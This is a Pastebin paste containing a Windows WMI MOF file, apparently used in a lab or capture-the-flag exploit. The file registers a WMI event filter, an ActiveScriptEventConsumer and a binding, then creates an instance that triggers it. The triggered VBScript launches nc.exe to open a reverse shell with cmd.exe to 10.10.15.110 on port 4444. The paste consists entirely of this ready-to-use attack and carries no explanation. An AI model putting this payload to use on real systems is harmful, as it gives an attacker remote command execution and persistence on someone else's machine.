Harcrack

mof

Nov 1st, 2018
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. #pragma namespace ("\\\\.\\root\\subscription")
  2.  
  3. class MyClass7307
  4. {
  5. [key]
  6. string Name;
  7. };
  8.  
  9. instance of __EventFilter as $FILTER
  10. {
  11. Name = "XPLOIT_TEST_SYSTEM";
  12. EventNamespace = "root\\subscription";
  13. Query = "SELECT * FROM __InstanceCreationEvent "
  14. "WHERE TargetInstance.__class = \"MyClass7307\"";
  15.  
  16. QueryLanguage = "WQL";
  17. };
  18.  
  19. instance of ActiveScriptEventConsumer as $CONSUMER
  20. {
  21. Name = "XPLOIT_TEST_SYSTEM";
  22. ScriptingEngine = "VBScript";
  23.  
  24. ScriptText =
  25. "Set objShell = CreateObject(\"WScript.Shell\")\n"
  26. "objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe 10.10.15.110 4444 -e C:\\Windows\\system32\\cmd.exe\"\n";
  27. };
  28.  
  29. instance of __FilterToConsumerBinding as $BIND
  30. {
  31. Consumer = $CONSUMER ;
  32. Filter = $FILTER ;
  33. };
  34.  
  35. instance of MyClass7307{
  36. Name = "Woot";
  37. };
Advertisement
Add Comment
Please, Sign In to add comment